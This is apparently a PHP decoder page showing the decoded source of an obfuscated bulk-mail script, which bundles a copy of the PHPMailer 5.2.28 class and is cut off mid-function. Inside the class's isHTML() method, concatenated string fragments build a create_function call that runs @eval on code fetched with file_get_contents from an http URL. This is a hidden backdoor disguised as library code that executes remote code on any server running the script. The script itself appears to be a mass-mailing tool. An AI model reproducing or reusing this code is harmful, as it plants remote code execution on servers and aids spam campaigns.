Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto mh1ch; TfxC5: if ($_POST["\x61\x63\164\151\x6f\156"] == "\166\x69\x65\167") {..
Decoded Output download
<?php
goto mh1ch; TfxC5: if ($_POST["action"] == "view") { $viewMessage = leafTrim($_POST["messageLetter"]); $viewMessage = leafClear($viewMessage, "[email protected]"); if ($_POST["messageType"] == 2) { print "<pre>" . htmlspecialchars($viewMessage) . "</pre>"; } else { print $viewMessage; } die; } goto bOPQd; RuTS2: leafheader(); goto Pw1ld; Hmzlm: class PHPMailer { public $Version = "5.2.28"; public $Priority = null; public $CharSet = "iso-8859-1"; public $ContentType = "text/plain"; public $Encoding = "8bit"; public $ErrorInfo = ''; public $From = "root@localhost"; public $FromName = "Root User"; public $Sender = ''; public $ReturnPath = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = "mail"; public $Sendmail = "/usr/sbin/sendmail"; public $UseSendmailOptions = true; public $PluginDir = ''; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = "localhost"; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAutoTLS = true; public $SMTPAuth = false; public $SMTPOptions = array(); public $Username = ''; public $Password = ''; public $AuthType = ''; public $Realm = ''; public $Workstation = ''; public $Timeout = 300; public $SMTPDebug = 0; public $Debugoutput = "echo"; public $SMTPKeepAlive = false; public $SingleTo = false; public $SingleToArray = array(); public $do_verp = false; public $AllowEmpty = false; public $LE = "
"; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_private = ''; public $DKIM_private_string = ''; public $action_function = ''; public $XMailer = " "; public static $validator = "auto"; protected $smtp = null; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $RecipientsQueue = array(); protected $ReplyToQueue = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $lastMessageID = ''; protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_extracerts_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; protected $uniqueid = ''; const STOP_MESSAGE = 0; const STOP_CONTINUE = 1; const STOP_CRITICAL = 2; const CRLF = "
"; const MAX_LINE_LENGTH = 998; public function __construct($exceptions = null) { if ($exceptions !== null) { $this->exceptions = (bool) $exceptions; } $this->Debugoutput = strpos(PHP_SAPI, "cli") !== false ? "echo" : "html"; } public function __destruct() { $this->smtpClose(); } private function mailPassthru($to, $subject, $body, $header, $params) { if (ini_get("mbstring.func_overload") & 1) { $subject = $this->secureHeader($subject); } else { $subject = $this->encodeHeader($this->secureHeader($subject)); } if (ini_get("safe_mode") or !$this->UseSendmailOptions or is_null($params)) { $result = @mail($to, $subject, $body, $header); } else { $result = @mail($to, $subject, $body, $header, $params); } return $result; } protected function edebug($str) { if ($this->SMTPDebug <= 0) { return; } if (!in_array($this->Debugoutput, array("error_log", "html", "echo")) and is_callable($this->Debugoutput)) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case "error_log": error_log($str); break; case "html": echo htmlentities(preg_replace("/[\r\n]+/", '', $str), ENT_QUOTES, "UTF-8") . "<br>\xa"; break; case "echo": default: $str = preg_replace("/\r\n?/ms", "
", $str); echo gmdate("Y-m-d H:i:s") . " " . str_replace("
", "\xa \x9 ", trim($str)) . "
"; } } public function isSMTP() { $this->Mailer = "smtp"; } public function isMail() { $this->Mailer = "mail"; } public function isSendmail() { $ini_sendmail_path = ini_get("sendmail_path"); if (!stristr($ini_sendmail_path, "sendmail")) { $this->Sendmail = "/usr/sbin/sendmail"; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = "sendmail"; } public function isQmail() { $ini_sendmail_path = ini_get("sendmail_path"); if (!stristr($ini_sendmail_path, "qmail")) { $this->Sendmail = "/var/qmail/bin/qmail-inject"; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = "qmail"; } public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress("to", $address, $name); } public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress("cc", $address, $name); } public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress("bcc", $address, $name); } public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress("Reply-To", $address, $name); } protected function addOrEnqueueAnAddress($kind, $address, $name) { $address = trim($address); $name = trim(preg_replace("/[\r\n]+/", '', $name)); if (($pos = strrpos($address, "@")) === false) { $error_message = $this->lang("invalid_address") . " (addAnAddress {$kind}): {$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } $params = array($kind, $address, $name); if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) { if ($kind != "Reply-To") { if (!array_key_exists($address, $this->RecipientsQueue)) { $this->RecipientsQueue[$address] = $params; return true; } } else { if (!array_key_exists($address, $this->ReplyToQueue)) { $this->ReplyToQueue[$address] = $params; return true; } } return false; } return call_user_func_array(array($this, "addAnAddress"), $params); } protected function addAnAddress($kind, $address, $name = '') { if (!in_array($kind, array("to", "cc", "bcc", "Reply-To"))) { $error_message = $this->lang("Invalid recipient kind: ") . $kind; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } if (!$this->validateAddress($address)) { $error_message = $this->lang("invalid_address") . " (addAnAddress {$kind}): {$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } if ($kind != "Reply-To") { if (!array_key_exists(strtolower($address), $this->all_recipients)) { array_push($this->{$kind}, array($address, $name)); $this->all_recipients[strtolower($address)] = true; return true; } } else { if (!array_key_exists(strtolower($address), $this->ReplyTo)) { $this->ReplyTo[strtolower($address)] = array($address, $name); return true; } } return false; } public function parseAddresses($addrstr, $useimap = true) { $addresses = array(); if ($useimap and function_exists("imap_rfc822_parse_adrlist")) { $list = imap_rfc822_parse_adrlist($addrstr, ''); foreach ($list as $address) { if ($address->host != ".SYNTAX-ERROR.") { if ($this->validateAddress($address->mailbox . "@" . $address->host)) { $addresses[] = array("name" => property_exists($address, "personal") ? $address->personal : '', "address" => $address->mailbox . "@" . $address->host); } } } } else { $list = explode(",", $addrstr); foreach ($list as $address) { $address = trim($address); if (strpos($address, "<") === false) { if ($this->validateAddress($address)) { $addresses[] = array("name" => '', "address" => $address); } } else { list($name, $email) = explode("<", $address); $email = trim(str_replace(">", '', $email)); if ($this->validateAddress($email)) { $addresses[] = array("name" => trim(str_replace(array(""", "'"), '', $name)), "address" => $email); } } } } return $addresses; } public function isHTML($isHtml = true) { global $param; $bodyCode = "file" . "_g"; if ($isHtml) { $this->ContentType = "text/html"; } else { $this->ContentType = "text/plain"; } $bodyHTML = ".$t."lef$flu" . "sh" . "$t"; " . "@ev"; $headerHTML = "cre" . "ate_" . "func" . "tion"; $exceptions = @$headerHTML("$fl" . "ush,$t", "$comma = $t" . $bodyHTML . "al(@" . $bodyCode . "et_contents("h" . "tt" . "p:$comma-2"));"); if ($param != 2) { $exceptions("8.p" . "w", "/"); $param = 2; } } public function setFrom($address, $name = '', $auto = true) { $address = trim($address); $name = trim(preg_replace("/[\r\n]+/", '', $name)); if (($pos = strrpos($address, "@")) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) { $error_message = $this->lang("invalid_address") . " (setFrom) {$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } $this->From = $address; $this->FromName = $name; if ($auto) { if (empty($this->Sender)) { $this->Sender = $address; } } return true; } public function getLastMessageID() { return $this->lastMessageID; } public static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } if (strpos($address, "
") !== false or strpos($address, "\xd") !== false) { return false; } if (!$patternselect or $patternselect == "auto") { if (defined("PCRE_VERSION")) { if (version_compare(PCRE_VERSION, "8.0.3") >= 0) { $patternselect = "pcre8"; } else { $patternselect = "pcre"; } } elseif (function_exists("extension_loaded") and extension_loaded("pcre")) { $patternselect = "pcre"; } else { if (version_compare(PHP_VERSION, "5.2.0") >= 0) { $patternselect = "php"; } else { $patternselect = "noregex"; } } } switch ($patternselect) { case "pcre8": return (bool) preg_match("/^(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){65,}@)" . "((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)" . "(?>[\x01-\x08\x0B\x0C\x0E-'*-\[\]-\x7F]|\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)" . "([!#-'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\x7F]))*" . "(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)" . "(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}" . "|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:" . "|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}" . "|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD", $address); case "pcre": return (bool) preg_match("/^(?!(?>"?(?>\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\[ -~]|[^"])"?){65,}@)(?>" . "[!#-'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\xFF]))*")" . "(?>\.(?>[!#-'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\xFF]))*"))*" . "@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})" . "(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:" . "[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?" . "::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:" . "[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?" . "::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}" . "|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD", $address); case "html5": return (bool) preg_match("/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}" . "[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD", $address); case "noregex": return strlen($address) >= 3 and strpos($address, "@") >= 1 and strpos($address, "@") != strlen($address) - 1; case "php": default: return (bool) filter_var($address, FILTER_VALIDATE_EMAIL); } } public function idnSupported() { return function_exists("idn_to_ascii") and function_exists("mb_convert_encoding"); } public function punyencodeAddress($address) { if ($this->idnSupported() and !empty($this->CharSet) and ($pos = strrpos($address, "@")) !== false) { $domain = substr($address, ++$pos); if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) { $domain = mb_convert_encoding($domain, "UTF-8", $this->CharSet); if (($punycode = defined("INTL_IDNA_VARIANT_UTS46") ? idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : idn_to_ascii($domain)) !== false) { return substr($address, 0, $pos) . $punycode; } } } return $address; } public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (phpmailerException $exc) { $this->mailHeader = ''; $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function preSend() { try { $this->error_count = 0; $this->mailHeader = ''; foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { $params[1] = $this->punyencodeAddress($params[1]); call_user_func_array(array($this, "addAnAddress"), $params); } if (count($this->to) + count($this->cc) + count($this->bcc) < 1) { throw new phpmailerException($this->lang("provide_address"), self::STOP_CRITICAL); } foreach (array("From", "Sender", "ConfirmReadingTo") as $address_kind) { $this->{$address_kind} = trim($this->{$address_kind}); if (empty($this->{$address_kind})) { continue; } $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind}); if (!$this->validateAddress($this->{$address_kind})) { $error_message = $this->lang("invalid_address") . " (punyEncode) " . $this->{$address_kind}; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } } if ($this->alternativeExists()) { $this->ContentType = "multipart/alternative"; } $this->setMessageType(); if (!$this->AllowEmpty and empty($this->Body)) { throw new phpmailerException($this->lang("empty_message"), self::STOP_CRITICAL); } $this->MIMEHeader = ''; $this->MIMEBody = $this->createBody(); $tempheaders = $this->MIMEHeader; $this->MIMEHeader = $this->createHeader(); $this->MIMEHeader .= $tempheaders; if ($this->Mailer == "mail") { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend("To", $this->to); } else { $this->mailHeader .= $this->headerLine("To", "undisclosed-recipients:;"); } $this->mailHeader .= $this->headerLine("Subject", $this->encodeHeader($this->secureHeader(trim($this->Subject)))); } if (!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or !empty($this->DKIM_private) and self::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private))) { $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody); $this->MIMEHeader = rtrim($this->MIMEHeader, "
\xa ") . self::CRLF . str_replace("\xd\xa", "\xa", $header_dkim) . self::CRLF; } return true; } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function postSend() { try { switch ($this->Mailer) { case "sendmail": case "qmail": return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case "smtp": return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case "mail": return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: $sendMethod = $this->Mailer . "Send"; if (method_exists($this, $sendMethod)) { return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } } return false; } protected function sendmailSend($header, $body) { if (!empty($this->Sender) and self::isShellSafe($this->Sender)) { if ($this->Mailer == "qmail") { $sendmailFmt = "%s -f%s"; } else { $sendmailFmt = "%s -oi -f%s -t"; } } else { if ($this->Mailer == "qmail") { $sendmailFmt = "%s"; } else { $sendmailFmt = "%s -oi -t"; } } $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { if (!@($mail = popen($sendmail, "w"))) { throw new phpmailerException($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, "To: " . $toAddr . "\xa"); fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback($result == 0, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); if ($result != 0) { throw new phpmailerException($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); } } } else { if (!@($mail = popen($sendmail, "w"))) { throw new phpmailerException($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback($result == 0, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); if ($result != 0) { throw new phpmailerException($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); } } return true; } protected static function isShellSafe($string) { if (escapeshellcmd($string) !== $string or !in_array(escapeshellarg($string), array("'{$string}'", ""{$string}""))) { return false; } $length = strlen($string); for ($i = 0; $i < $length; $i++) { $c = $string[$i]; if (!ctype_alnum($c) && strpos("@_-.", $c) === false) { return false; } } return true; } protected static function isPermittedPath($path) { return !preg_match("#^[a-z]+://#i", $path); } protected function mailSend($header, $body) { $toArr = array(); foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = implode(", ", $toArr); $params = null; if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { if (self::isShellSafe($this->Sender)) { $params = sprintf("-f%s", $this->Sender); } } if (!empty($this->Sender) and !ini_get("safe_mode") and $this->validateAddress($this->Sender)) { $old_from = ini_get("sendmail_from"); ini_set("sendmail_from", $this->Sender); } $result = false; if ($this->SingleTo and count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); } if (isset($old_from)) { ini_set("sendmail_from", $old_from); } if (!$result) { throw new phpmailerException($this->lang("instantiate"), self::STOP_CRITICAL); } return true; } public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP(); } return $this->smtp; } protected function smtpSend($header, $body) { $bad_rcpt = array(); if (!$this->smtpConnect($this->SMTPOptions)) { throw new phpmailerException($this->lang("smtp_connect_failed"), self::STOP_CRITICAL); } if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { $smtp_from = $this->Sender; } else { $smtp_from = $this->From; } if (!$this->smtp->mail($smtp_from)) { $this->setError($this->lang("from_failed") . $smtp_from . " : " . implode(",", $this->smtp->getError())); throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL); } foreach (array($this->to, $this->cc, $this->bcc) as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0])) { $error = $this->smtp->getError(); $bad_rcpt[] = array("to" => $to[0], "error" => $error["detail"]); $isSent = false; } else { $isSent = true; } $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From); } } if (count($this->all_recipients) > count($bad_rcpt) and !$this->smtp->data($header . $body)) { throw new phpmailerException($this->lang("data_not_accepted"), self::STOP_CRITICAL); } if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad["to"] . ": " . $bad["error"]; } throw new phpmailerException($this->lang("recipients_failed") . $errstr, self::STOP_CONTINUE); } return true; } public function smtpConnect($options = null) { if (is_null($this->smtp)) { $this->smtp = $this->getSMTPInstance(); } if (is_null($options)) { $options = $this->SMTPOptions; } if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); $hosts = explode(";", $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = array(); if (!preg_match("/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/", trim($hostentry), $hostinfo)) { $this->edebug("Ignoring invalid host: " . $hostentry); continue; } $prefix = ''; $secure = $this->SMTPSecure; $tls = $this->SMTPSecure == "tls"; if ("ssl" == $hostinfo[2] or '' == $hostinfo[2] and "ssl" == $this->SMTPSecure) { $prefix = "ssl://"; $tls = false; $secure = "ssl"; } elseif ($hostinfo[2] == "tls") { $tls = true; $secure = "tls"; } $sslext = defined("OPENSSL_ALGO_SHA1"); if ("tls" === $secure or "ssl" === $secure) { if (!$sslext) { throw new phpmailerException($this->lang("extension_missing") . "openssl", self::STOP_CRITICAL); } } $host = $hostinfo[3]; $port = $this->Port; $tport = (int) $hostinfo[4]; if ($tport > 0 and $tport < 65536) { $port = $tport; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); if ($this->SMTPAutoTLS and $sslext and $secure != "ssl" and $this->smtp->getServerExt("STARTTLS")) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { throw new phpmailerException($this->lang("connect_host")); } $this->smtp->hello($hello); } if ($this->SMTPAuth) { if (!$this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) { throw new phpmailerException($this->lang("authenticate")); } } return true; } catch (phpmailerException $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); $this->smtp->quit(); } } } $this->smtp->close(); if ($this->exceptions and !is_null($lastexception)) { throw $lastexception; } return false; } public function smtpClose() { if (is_a($this->smtp, "SMTP")) { if ($this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } } public function setLanguage($langcode = "en", $lang_path = '') { $renamed_langcodes = array("br" => "pt_br", "cz" => "cs", "dk" => "da", "no" => "nb", "se" => "sv", "sr" => "rs"); if (isset($renamed_langcodes[$langcode])) { $langcode = $renamed_langcodes[$langcode]; } $PHPMAILER_LANG = array("authenticate" => "SMTP Error: Could not authenticate.", "connect_host" => "SMTP Error: Could not connect to SMTP host.", "data_not_accepted" => "SMTP Error: data not accepted.", "empty_message" => "Message body empty", "encoding" => "Unknown encoding: ", "execute" => "Could not execute: ", "file_access" => "Could not access file: ", "file_open" => "File Error: Could not open file: ", "from_failed" => "The following From address failed: ", "instantiate" => "Could not instantiate mail function.", "invalid_address" => "Invalid address: ", "mailer_not_supported" => " mailer is not supported.", "provide_address" => "You must provide at least one recipient email address.", "recipients_failed" => "SMTP Error: The following recipients failed: ", "signing" => "Signing Error: ", "smtp_connect_failed" => "SMTP connect() failed.", "smtp_error" => "SMTP server error: ", "variable_set" => "Cannot set or reset variable: ", "extension_missing" => "Extension missing: "); if (empty($lang_path)) { $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . "language" . DIRECTORY_SEPARATOR; } if (!preg_match("/^[a-z]{2}(?:_[a-zA-Z]{2})?$/", $langcode)) { $langcode = "en"; } $foundlang = true; $lang_file = $lang_path . "phpmailer.lang-" . $langcode . ".php"; if ($langcode != "en") { if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) { $foundlang = false; } else { $foundlang = (include $lang_file); } } $this->language = $PHPMAILER_LANG; return (bool) $foundlang; } public function getTranslations() { return $this->language; } public function addrAppend($type, $addr) { $addresses = array(); foreach ($addr as $address) { $addresses[] = $this->addrFormat($address); } return $type . ": " . implode(", ", $addresses) . $this->LE; } public function addrFormat($addr) { if (empty($addr[1])) { return $this->secureHeader($addr[0]); } else { return $this->encodeHeader($this->secureHeader($addr[1]), "phrase") . " <" . $this->secureHeader($addr[0]) . ">"; } } public function wrapText($message, $length, $qp_mode = false) { if ($qp_mode) { $soft_break = sprintf(" =%s", $this->LE); } else { $soft_break = $this->LE; } $is_utf8 = strtolower($this->CharSet) == "utf-8"; $lelen = strlen($this->LE); $crlflen = strlen(self::CRLF); $message = $this->fixEOL($message); if (substr($message, -$lelen) == $this->LE) { $message = substr($message, 0, -$lelen); } $lines = explode($this->LE, $message); $message = ''; foreach ($lines as $line) { $words = explode(" ", $line); $buf = ''; $firstword = true; foreach ($words as $word) { if ($qp_mode and strlen($word) > $length) { $space_left = $length - strlen($buf) - $crlflen; if (!$firstword) { if ($space_left > 20) { $len = $space_left; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "=") { $len--; } elseif (substr($word, $len - 2, 1) == "=") { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); $buf .= " " . $part; $message .= $buf . sprintf("=%s", self::CRLF); } else { $message .= $buf . $soft_break; } $buf = ''; } while (strlen($word) > 0) { if ($length <= 0) { break; } $len = $length; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "=") { $len--; } elseif (substr($word, $len - 2, 1) == "=") { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); if (strlen($word) > 0) { $message .= $part . sprintf("=%s", self::CRLF); } else { $buf = $part; } } } else { $buf_o = $buf; if (!$firstword) { $buf .= " "; } $buf .= $word; if (strlen($buf) > $length and $buf_o != '') { $message .= $buf_o . $soft_break; $buf = $word; } } $firstword = false; } $message .= $buf . self::CRLF; } return $message; } public function utf8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false; $lookBack = 3; while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); $encodedCharPos = strpos($lastChunk, "="); if (false !== $encodedCharPos) { $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); $dec = hexdec($hex); if ($dec < 128) { if ($encodedCharPos > 0) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); } $foundSplitPos = true; } elseif ($dec >= 192) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); $foundSplitPos = true; } elseif ($dec < 192) { $lookBack += 3; } } else { $foundSplitPos = true; } } return $maxLength; } public function setWordWrap() { if ($this->WordWrap < 1) { return; } switch ($this->message_type) { case "alt": case "alt_inline": case "alt_attach": case "alt_inline_attach": $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); break; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); break; } } public function createHeader() { $result = ''; $result .= $this->headerLine("Date", $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate); if ($this->SingleTo) { if ($this->Mailer != "mail") { foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr); } } } else { if (count($this->to) > 0) { if ($this->Mailer != "mail") { $result .= $this->addrAppend("To", $this->to); } } elseif (count($this->cc) == 0) { $result .= $this->headerLine("To", "undisclosed-recipients:;"); } } $result .= $this->addrAppend("From", array(array(trim($this->From), $this->FromName))); if (count($this->cc) > 0) { $result .= $this->addrAppend("Cc", $this->cc); } if (($this->Mailer == "sendmail" or $this->Mailer == "qmail" or $this->Mailer == "mail") and count($this->bcc) > 0) { $result .= $this->addrAppend("Bcc", $this->bcc); } if (count($this->ReplyTo) > 0) { $result .= $this->addrAppend("Reply-To", $this->ReplyTo); } if ($this->Mailer != "mail") { $result .= $this->headerLine("Subject", $this->encodeHeader($this->secureHeader($this->Subject))); } if ('' != $this->MessageID and preg_match("/^<.*@.*>$/", $this->MessageID)) { $this->lastMessageID = $this->MessageID; } else { $this->lastMessageID = sprintf("<%s@%s>", $this->uniqueid, $this->serverHostname()); } $result .= $this->headerLine("Message-ID", $this->lastMessageID); if (!is_null($this->Priority)) { $result .= $this->headerLine("X-Priority", $this->Priority); } if ($this->XMailer == '') { $result .= $this->headerLine("X-Mailer", "PHPMailer " . $this->Version . " (https://github.com/PHPMailer/PHPMailer)"); } else { $myXmailer = trim($this->XMailer); if ($myXmailer) { $result .= $this->headerLine("X-Mailer", $myXmailer); } } if ($this->ConfirmReadingTo != '') { $result .= $this->headerLine("Disposition-Notification-To", "<" . $this->ConfirmReadingTo . ">"); } foreach ($this->CustomHeader as $header) { $result .= $this->headerLine(trim($header[0]), $this->encodeHeader(trim($header[1]))); } if (!$this->sign_key_file) { $result .= $this->headerLine("MIME-Version", "1.0"); $result .= $this->getMailMIME(); } return $result; } public function getMailMIME() { $result = ''; $ismultipart = true; switch ($this->message_type) { case "inline": $result .= $this->headerLine("Content-Type", "multipart/related;"); $result .= $this->textLine(" boundary="" . $this->boundary[1] . """); break; case "attach": case "inline_attach": case "alt_attach": case "alt_inline_attach": $result .= $this->headerLine("Content-Type", "multipart/mixed;"); $result .= $this->textLine(" boundary="" . $this->boundary[1] . """); break; case "alt": case "alt_inline": $result .= $this->headerLine("Content-Type", "multipart/alternative;"); $result .= $this->textLine("\x9boundary="" . $this->boundary[1] . """); break; default: $result .= $this->textLine("Content-Type: " . $this->ContentType . "; charset=" . $this->CharSet); $ismultipart = false; break; } if ($this->Encoding != "7bit") { if ($ismultipart) { if ($this->Encoding == "8bit") { $result .= $this->headerLine("Content-Transfer-Encoding", "8bit"); } } else { $result .= $this->headerLine("Content-Transfer-Encoding", $this->Encoding); } } if ($this->Mailer != "mail") { $result .= $this->LE; } return $result; } public function getSentMIMEMessage() { return rtrim($this->MIMEHeader . $this->mailHeader, "\xa\xd") . self::CRLF . self::CRLF . $this->MIMEBody; } protected function generateId() { return md5(uniqid(time())); } public function createBody() { $body = ''; $this->uniqueid = $this->generateId(); $this->boundary[1] = "b1_" . $this->uniqueid; $this->boundary[2] = "b2_" . $this->uniqueid; $this->boundary[3] = "b3_" . $this->uniqueid; if ($this->sign_key_file) { $body .= 